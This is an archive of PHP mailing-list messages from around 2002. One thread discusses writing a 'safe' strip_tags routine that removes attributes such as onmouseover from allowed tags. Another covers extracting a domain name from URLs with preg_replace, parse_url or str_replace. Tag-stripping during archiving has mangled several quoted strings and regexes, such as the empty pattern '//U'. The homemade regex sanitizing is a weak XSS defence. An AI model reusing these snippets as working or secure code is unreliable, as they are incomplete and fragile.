- pre-match // [2] - matched group // [3] - post match $result .= htmlentities($aresult[1]) . $aresult[2]; $buffer = $aresult[3]; } $result .= $buffer; This loops through the data buffer, applying htmlentities() to all parts except any link tag. Of course this example only works for the tag. If you have multiple tags (and you _do_ have them since you also need to check for the tag), find ANY tag and check if they are valid: $re = '/(.*?)(<\s*)(\/?)([^>]*?)(\s*>)(.*)/'; preg_match will create the following result array: [0] - whole buffer [1] - prematch [2] - tag opener incl. opt. blanks [3] - optional '/' for the closing tag [4] - tag contents [5] - tag closer incl. opt. blanks [6] - postmatch You can then, within your loop, analyze the tag contents (entry [4]) and decide how to proceed. -- >O Ernest E. Vogelsinger (\) ICQ #13394035 ^ http://www.vogelsinger.at/
Re: [PHP] Preg_replace question
> Following on from a previous discussion, I am trying to write a "safe" > strip_tags function. > > I start by applying htmlentities to the entire string, and then convert > "allowed" tags back. > > One of the steps I am looking at doing is to replace something " href="blah" onmouseover="blah">" with "" > > What would be a good preg_replace string for this? > > Preg_replace('/( Except I need to keep the href="" as well as the closing >, > but drop everything else. > > I will be googling on this too, but a reply from this group is always > quicker How about $new_string = preg_replace('//U','< a href="$1">',$old_string); Adapt to your needs... ---John Holmes... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Preg_replace question
Try xml parsing functions, start with an empty string and build it up in your handlers. In start element handler check if the tag is allowed, if yes, append it to the string together with allowed attributes, and add it to a count (so users won't be able to mess up your design), else append it using htmlspecialchars. In the end element handler, check if the count for this element is > 0, if yes, append it and subtract the count, else append it using htmlspecialchars. And in the data handler you just need the obvious: append it using htmlspecialchars. After all you need to check the count for each element and if it is > 0, append that many end elements. This is just an idea, and I'm curious myself, if that would work, so write share with us your results David Russell wrote: Hi all, Following on from a previous discussion, I am trying to write a "safe" strip_tags function. I start by applying htmlentities to the entire string, and then convert "allowed" tags back. One of the steps I am looking at doing is to replace something "" with "" What would be a good preg_replace string for this? Preg_replace('/(, but drop everything else. I will be googling on this too, but a reply from this group is always quicker Thanks David Russell IT Support Manager Barloworld Optimus (Pty) Ltd Tel: +2711 444-7250 Fax: +2711 444-7256 e-mail: [EMAIL PROTECTED] web: www.BarloworldOptimus.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Preg_replace question
Hi all, Following on from a previous discussion, I am trying to write a "safe" strip_tags function. I start by applying htmlentities to the entire string, and then convert "allowed" tags back. One of the steps I am looking at doing is to replace something "" with "" What would be a good preg_replace string for this? Preg_replace('/(
Re: [PHP] preg_replace question
> thats the thing the urls should be able to parse http:// or www or both and > i have to unfortunatly clean up a forced port and directory in the url > aswell for gethostname to work Well, your original question should of said that and we wouldn't be wasting time. preg_match("%\.([^.]+\.[a-z]+)%",$host,$match) $match[1] would have your name. ---John Holmes... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] preg_replace question
--- Dan Rossi <[EMAIL PROTECTED]> wrote: > some urls will have http://www. some will only have www. some will > have :1023 for forced ports and they all will have /directory > afterwards i just need domain.com for example :| Out of curiosity, did you not read the replies to your initial question? I recall saying this: > Just use parse_url() instead: > > http://www.php.net/manual/en/function.parse-url.php I recall seeing John Holmes say this: > Or just str_replace(). No need for regular expressions. > > http://www.php.net/manual/en/function.str-replace.php Chris -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] preg_replace question
getting really annoying one url will work where another one wont //$formatted_url = preg_replace("/\b((http(s?):\/\/)|(www\.))\b/i", "", $url); //$formatted_url = preg_replace("/\b((http(s?):\/\/)|(www\.))([\w\.]+)([\/\w+\.]+)\b/i", "$5", $url); $formatted_url = eregi_replace("^(.{2,6}://)?([^:]*)?([^/]*)?(.*)", "\\2", $url); tried all these dont work some urls will have http://www. some will only have www. some will have :1023 for forced ports and they all will have /directory afterwards i just need domain.com for example :| -Original Message- From: 1LT John W. Holmes [mailto:[EMAIL PROTECTED]] Sent: Thursday, November 21, 2002 7:48 AM To: [EMAIL PROTECTED]; electroteque; [EMAIL PROTECTED] Subject: Re: [PHP] preg_replace question > --- electroteque <[EMAIL PROTECTED]> wrote: > > how could i remove http://www. ot of a url string using > preg_replace? > > No need to reinvent the wheel for this. Just use parse_url() instead: > > http://www.php.net/manual/en/function.parse-url.php > Or just str_replace(). No need for regular expressions. http://www.php.net/manual/en/function.str-replace.php ---John Holmes... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] preg_replace question
this is fine but it didnt parse in just www.domain.com -Original Message- From: Chris Shiflett [mailto:[EMAIL PROTECTED]] Sent: Thursday, November 21, 2002 7:41 AM To: electroteque; [EMAIL PROTECTED] Subject: Re: [PHP] preg_replace question --- electroteque <[EMAIL PROTECTED]> wrote: > how could i remove http://www. ot of a url string using preg_replace? No need to reinvent the wheel for this. Just use parse_url() instead: http://www.php.net/manual/en/function.parse-url.php Chris -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] preg_replace question
thats the thing the urls should be able to parse http:// or www or both and i have to unfortunatly clean up a forced port and directory in the url aswell for gethostname to work -Original Message- From: 1LT John W. Holmes [mailto:[EMAIL PROTECTED]] Sent: Thursday, November 21, 2002 7:48 AM To: [EMAIL PROTECTED]; electroteque; [EMAIL PROTECTED] Subject: Re: [PHP] preg_replace question > --- electroteque <[EMAIL PROTECTED]> wrote: > > how could i remove http://www. ot of a url string using > preg_replace? > > No need to reinvent the wheel for this. Just use parse_url() instead: > > http://www.php.net/manual/en/function.parse-url.php > Or just str_replace(). No need for regular expressions. http://www.php.net/manual/en/function.str-replace.php ---John Holmes... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] preg_replace question
looks like it returns www in the host array a bit silly when i need just the bits afterwards to do a gethostbyname -Original Message- From: Chris Shiflett [mailto:[EMAIL PROTECTED]] Sent: Thursday, November 21, 2002 7:41 AM To: electroteque; [EMAIL PROTECTED] Subject: Re: [PHP] preg_replace question --- electroteque <[EMAIL PROTECTED]> wrote: > how could i remove http://www. ot of a url string using preg_replace? No need to reinvent the wheel for this. Just use parse_url() instead: http://www.php.net/manual/en/function.parse-url.php Chris -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
> --- electroteque <[EMAIL PROTECTED]> wrote: > > how could i remove http://www. ot of a url string using > preg_replace? > > No need to reinvent the wheel for this. Just use parse_url() instead: > > http://www.php.net/manual/en/function.parse-url.php > Or just str_replace(). No need for regular expressions. http://www.php.net/manual/en/function.str-replace.php ---John Holmes... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
--- electroteque <[EMAIL PROTECTED]> wrote: > how could i remove http://www. ot of a url string using preg_replace? No need to reinvent the wheel for this. Just use parse_url() instead: http://www.php.net/manual/en/function.parse-url.php Chris -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] preg_replace question
how could i remove http://www. ot of a url string sing preg_replace ? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php